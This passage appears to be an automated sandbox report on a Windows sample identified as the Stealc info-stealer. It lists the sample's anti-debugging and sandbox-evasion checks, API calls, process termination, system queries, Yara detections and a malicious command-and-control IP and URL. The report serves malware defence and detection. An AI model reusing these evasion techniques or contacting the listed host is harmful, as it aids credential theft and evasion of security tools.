Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A34610 VirtualProtect ?,00000004,00000100,00000000 0_2_00A34610
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00A49BB0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49AA0 mov eax, dword ptr fs:[00000030h] 0_2_00A49AA0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A47690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA, 0_2_00A47690
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\file.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 5960, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00A49790
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A498E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle, 0_2_00A498E0
Source: file.exe, file.exe, 00000000.00000002.1282834680.0000000000EAB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A775A8 cpuid 0_2_00A775A8
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\file.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00A47D20
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A46BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess, 0_2_00A46BC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A479E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA, 0_2_00A479E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A47BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA, 0_2_00A47BC0

Stealing of Sensitive Information
barindex
Yara detected Stealc
Source: Yara match File source: 0.2.file.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1282579993.0000000000A31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1239089821.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1283384849.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 5960, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality
barindex
Yara detected Stealc
Source: Yara match File source: 0.2.file.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1282579993.0000000000A31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1239089821.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1283384849.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 5960, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1546617 Sample: file.exe Startdate: 01/11/2024 Architecture: WINDOWS Score: 100 11 Suricata IDS alerts for network traffic 2->11 13 Found malware configuration 2->13 15 Antivirus / Scanner detection for submitted sample 2->15 17 7 other signatures 2->17 5 file.exe 13 2->5         started        process3 dnsIp4 9 185.215.113.206, 49699, 80 WHOLESALECONNECTIONSNL Portugal 5->9 19 Detected unpacking (changes PE section rights) 5->19 21 Tries to detect sandboxes and other dynamic analysis tools (window names) 5->21 23 Tries to evade debugger and weak emulator (self modifying code) 5->23 25 6 other signatures 5->25 signatures5
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/6c4adf523b719729.php true
    		unknown
    http://185.215.113.206/ true
      		unknown